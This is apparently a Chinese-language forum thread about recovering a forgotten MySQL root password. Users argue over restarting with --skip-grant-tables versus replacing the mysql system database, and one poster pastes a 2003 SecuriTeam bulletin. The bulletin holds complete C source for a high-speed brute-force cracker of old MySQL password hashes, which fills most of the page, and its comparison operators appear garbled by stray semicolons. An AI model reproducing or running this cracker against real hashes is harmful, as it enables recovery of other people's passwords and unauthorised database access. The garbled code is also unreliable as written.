MySQL密码遗忘解决方法zt

HeartIcy

神经啊。。。。。我说的是破密码。。。。。删除复制小孩都会，谁简单。挣眼瞎子。还有我不知道你做没做过网管，有经验的管理员按照你的做法早晚玩死自己。

wolfop

[quote]原帖由 "HeartIcy"]P，替换一个库只要删除复制；你那方法还要折腾这么多东西无聊。论省事是我的省事。小孩[/quote 发表：
     
得了吧，小子，就看一半，你自己用--skip-grant-tables进去改root密码就的了再重新启动，还说你的简单。人家原来建立的用户和相应对应各个表/库的权限还要全部重新建立一遍，你说谁简单？

没有想到你对MYSQL license一知半解，结果对于MYSQL的技术问题也是一样。

HeartIcy

P，替换一个库只要删除复制；你那方法还要折腾这么多东西无聊。论省事是我的省事。小孩

wolfop

[quote]原帖由 "HeartIcy"]加密其实并不脆弱，一个8位的密码就足够你跑上一整天的了。破解mysql的密码更省事的就是替换mysql这个库 ^_^[/quote 发表：
     
替换整个库是比较愚蠢的方法，只需要在启动的时候用--skip-grant-tables再该或者只替换mysql库下面的user.*都比这个好

HeartIcy

加密其实并不脆弱，一个8位的密码就足够你跑上一整天的了。破解mysql的密码更省事的就是替换mysql这个库 ^_^

HeartIcy

[TOOL] High-speed Brute-force Password Cracker for MySQL
From: SecuriTeam (support_at_securiteam.com)
Date: 05/05/03

Next message: SecuriTeam: "[TOOL] FlashFXP sites.dat Decryption"
Previous message: SecuriTeam: "[TOOL] Microsoft IIS Authentication Manager Account Confirmation Vulnerability"
Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]

--------------------------------------------------------------------------------

To: list@securiteam.com
Date: 5 May 2003 18:01:49 +0200


The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion


In the US?


Contact Beyond Security at our new California office
housewarming rates on automated network vulnerability
scanning. We also welcome ISPs and other resellers!


Please contact us at: 323-882-8286 or ussales@beyondsecurity.com
- - - - - - - - -




  High-speed Brute-force Password Cracker for MySQL
------------------------------------------------------------------------



DETAILS


This tool is a high-speed brute-force password cracker for MySQL hashed
passwords. It can break an 8-character password containing any printable
ASCII characters in a matter of hours on an ordinary PC.


Tool:
/* This program is public domain. Share and enjoy.
*
* Example:
* $ gcc -O2 -fomit-frame-pointer mysqlfast.c -o mysqlfast
* $ mysqlfast 6294b50f67eda209
* Hash: 6294b50f67eda209
* Trying length 3
* Trying length 4
* Found pass: barf
*
* The MySQL password hash function could be strengthened considerably
* by:
* - making two passes over the password
* - using a bitwise rotate instead of a left shift
* - causing more arithmetic overflows
*/


#include <stdio.h>;


typedef unsigned long u32;


/* Allowable characters in password; 33-126 is printable ascii */
#define MIN_CHAR 33
#define MAX_CHAR 126


/* Maximum length of password */
#define MAX_LEN 12


#define MASK 0x7fffffffL


int crack0(int stop, u32 targ1, u32 targ2, int *pass_ary)
{
  int i, c;
  u32 d, e, sum, step, diff, div, xor1, xor2, state1, state2;
  u32 newstate1, newstate2, newstate3;
  u32 state1_ary[MAX_LEN-2], state2_ary[MAX_LEN-2];
  u32 xor_ary[MAX_LEN-3], step_ary[MAX_LEN-3];
  i = -1;
  sum = 7;
  state1_ary[0] = 1345345333L;
  state2_ary[0] = 0x12345671L;


  while (1) {
    while (i < stop) {
      i++;
      pass_ary[i] = MIN_CHAR;
      step_ary[i] = (state1_ary[i] & 0x3f) + sum;
      xor_ary[i] = step_ary[i]*MIN_CHAR + (state1_ary[i] << 8);
      sum += MIN_CHAR;
      state1_ary[i+1] = state1_ary[i] ^ xor_ary[i];
      state2_ary[i+1] = state2_ary[i]
        + ((state2_ary[i] << 8) ^ state1_ary[i+1]);
    }


    state1 = state1_ary[i+1];
    state2 = state2_ary[i+1];
    step = (state1 & 0x3f) + sum;
    xor1 = step*MIN_CHAR + (state1 << 8);
    xor2 = (state2 << 8) ^ state1;


    for (c = MIN_CHAR; c <= MAX_CHAR; c++, xor1 += step) {
      newstate2 = state2 + (xor1 ^ xor2);
      newstate1 = state1 ^ xor1;


      newstate3 = (targ2 - newstate2) ^ (newstate2 << 8);
      div = (newstate1 & 0x3f) + sum + c;
      diff = ((newstate3 ^ newstate1) - (newstate1 << 8)) & MASK;
      if (diff % div != 0) continue;
      d = diff / div;
      if (d < MIN_CHAR || d >; MAX_CHAR) continue;


      div = (newstate3 & 0x3f) + sum + c + d;
      diff = ((targ1 ^ newstate3) - (newstate3 << 8)) & MASK;
      if (diff % div != 0) continue;
      e = diff / div;
      if (e < MIN_CHAR || e >; MAX_CHAR) continue;


      pass_ary[i+1] = c;
      pass_ary[i+2] = d;
      pass_ary[i+3] = e;
      return 1;
    }


    while (i >;= 0 && pass_ary[i] >;= MAX_CHAR) {
      sum -= MAX_CHAR;
      i--;
    }
    if (i < 0) break;
    pass_ary[i]++;
    xor_ary[i] += step_ary[i];
    sum++;
    state1_ary[i+1] = state1_ary[i] ^ xor_ary[i];
    state2_ary[i+1] = state2_ary[i]
      + ((state2_ary[i] << 8) ^ state1_ary[i+1]);
  }


  return 0;
}


void crack(char *hash)
{
  int i, len;
  u32 targ1, targ2, targ3;
  int pass[MAX_LEN];


  if ( sscanf(hash, "%8lx%lx", &targ1, &targ2) != 2 ) {
    printf("Invalid password hash: %s\n", hash);
    return;
  }
  printf("Hash: %08lx%08lx\n", targ1, targ2);
  targ3 = targ2 - targ1;
  targ3 = targ2 - ((targ3 << 8) ^ targ1);
  targ3 = targ2 - ((targ3 << 8) ^ targ1);
  targ3 = targ2 - ((targ3 << 8) ^ targ1);


  for (len = 3; len <= MAX_LEN; len++) {
    printf("Trying length %d\n", len);
    if ( crack0(len-4, targ1, targ3, pass) ) {
      printf("Found pass: ");
      for (i = 0; i < len; i++)
        putchar(pass[i]);
      putchar('\n');
      break;
    }
  }
  if (len >; MAX_LEN)
    printf("Pass not found\n");
}


int main(int argc, char *argv[])
{
  int i;
  if (argc <= 1)
    printf("usage: %s hash\n", argv[0]);
  for (i = 1; i < argc; i++)
    crack(argv[i]);
  return 0;
}



ADDITIONAL INFORMATION


The information has been provided by Secret Squirrel.




========================================



This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com



====================
====================


DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.